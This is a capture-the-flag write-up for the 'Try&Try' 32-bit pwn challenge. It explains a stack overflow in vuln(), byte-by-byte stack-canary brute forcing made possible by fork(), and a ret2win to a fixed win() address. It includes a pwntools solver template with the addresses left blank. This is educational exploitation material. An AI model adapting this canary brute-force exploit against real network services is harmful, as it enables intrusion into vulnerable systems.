Try&Try Challenge — Writeup

This writeup explains how to solve the Try&Try pwn challenge. The binary is a 32-bit ELF with stack canary and NX enabled, but PIE is disabled. The goal is to reach the win() function which executes /bin/cat flag.

Summary

We get a classic stack overflow in a line-by-line input loop. The binary has a stack canary, so we cannot just smash the return address. The trick is:

1. Locate the overflow in vuln().
2. Bypass the canary using byte-by-byte brute force.
3. Ret2win to win() (PIE is off, so the address is stable).

The process forks in a loop, which makes the canary stable across attempts within the same connection, enabling a reliable brute force.

Binary Protections (checksec)

• Arch: i386 (32-bit)
• Canary: enabled
• NX: enabled
• PIE: disabled
• RELRO: partial

PIE is off, so the win() address is fixed.

Vulnerability Analysis

Where the overflow happens

In the decompiled vuln():

1
char var_50[0x40];
2
...
3
while (i <= 0x1ff) {
4
    read(0, &var_55, 1);
5
    if (var_55 == '\n') break;
6
    var_50[i] = var_55;   // no bounds check
7
    i++;
8
}

var_50 is only 0x40 bytes, but the loop allows up to 0x200 bytes. This overwrites the stack canary, saved registers, and return address.

Stack layout (important offsets)

From the function prologue and the buffer location:

• var_50 at [ebp - 0x4c]
• Canary at [ebp - 0x0c]

So the offset from the buffer start:

• Buffer to canary: 0x40
• Canary size: 4
• Then 4 bytes of padding (between canary and saved ebx)
• Saved ebx: 4
• Saved ebp: 4
• Return address: next 4 bytes

Payload layout:

1
'A' * 0x40
2
<canary>
3
'B' * 4   (padding)
4
'C' * 4   (saved ebx)
5
'D' * 4   (saved ebp)
6
<win addr>

Canary Bypass

Why brute force works

The program does this:

1
while (true) {
2
    pid = fork();
3
    if (!pid) break;         // child runs vuln()
4
    waitpid(...);
5
    puts("bye.");
6
}

Because of fork(), the child inherits the same stack canary as the parent. That means the canary is stable across attempts in the same connection. We can brute force it byte-by-byte:

1. Send 0x40 bytes + guessed canary prefix.
2. If the canary is wrong, we see *** stack smashing detected ***.
3. If it is correct, the program returns normally and continues.

Important detail: newline byte

Input is read one byte at a time and stops on 0x0a ('\n'). So the brute force must skip 0x0a in guesses, otherwise the loop stops before overwriting the canary, causing false positives.

Ret2win

The binary has a win() function:

1
int win() {
2
    system("/bin/cat flag");
3
}

With PIE disabled, the address is fixed (from nm -n):

1
08049206 T win

After the canary is known, overwrite the return address with 0x08049206.

End-to-End Strategy

1. Connect to the service.
2. Wait for Input:.
3. Brute force the canary byte-by-byte (skip 0x0a).
4. Send final payload with:
   • 0x40 bytes padding
   • full canary
   • 4 bytes padding
   • saved ebx
   • saved ebp
   • win() address
5. Read the output to get the flag.

Solver Template (no addresses)

Below is a template solver that includes all important logic but leaves addresses/offsets blank. Fill them in from your own analysis.

1
#!/usr/bin/env python3
2
from pwn import *
3

4
HOST = "tcp.flagyard.com"
5
PORT = 00000
6

7
context.binary = ELF("./chall", checksec=False)
8
context.log_level = "info"
9

10
# --- fill these ---
11
BUF_SZ = 0x00            # offset to canary (e.g., 0x40)
12
RET2WIN = 0x00000000      # address of win()
13
PAD_BETWEEN = 0x00        # bytes between canary and saved regs
14
SAVED_EBX = 0x00          # usually 4
15
SAVED_EBP = 0x00          # usually 4
16

17
PROMPT = b"Input: "
18
SMASH = b"stack smashing detected"
19

20
def recv_prompt(io):
21
    return io.recvuntil(PROMPT)
22

23
def send_line(io, data):
24
    io.send(data + b"\n")
25
    return io.recvuntil(PROMPT)
26

27
def brute_canary(io):
28
    canary = b"\x00"
29
    for _ in range(3):
30
        for b in range(256):
31
            if b == 0x0a:
32
                continue
33
            guess = canary + bytes([b])
34
            payload = b"A" * BUF_SZ + guess
35
            out = send_line(io, payload)
36
            if SMASH not in out:
37
                canary = guess
38
                break
39
        else:
40
            raise RuntimeError("canary brute failed")
41
    out = send_line(io, b"A" * BUF_SZ + canary)
42
    if SMASH in out:
43
        raise RuntimeError("canary verify failed")
44
    return canary
45

46
def build_payload(canary):
47
    payload = b"A" * BUF_SZ
48
    payload += canary
49
    payload += b"B" * PAD_BETWEEN
50
    payload += b"C" * SAVED_EBX
51
    payload += b"D" * SAVED_EBP
52
    payload += p32(RET2WIN)
53
    return payload
54

55
def exploit():
56
    io = remote(HOST, PORT)
57
    recv_prompt(io)
58
    canary = brute_canary(io)
59
    log.success(f"canary: {canary.hex()}")
60
    io.send(build_payload(canary) + b"\n")
61
    try:
62
        data = io.recvall(timeout=2.0)
63
        if data:
64
            print(data.decode(errors="ignore"))
65
    except EOFError:
66
        pass
67

68
if __name__ == "__main__":
69
    exploit()

Notes

• Decompiled code is from dogbolt.org so some values must not be the same for you
• NX enabled means no shellcode; ret2win is the intended path.
• PIE disabled makes the win() address stable.
• Canary is per-process, but fork makes it stable for a session.
• The read loop is byte-based, so avoid sending 0x0a inside the canary.

Final Result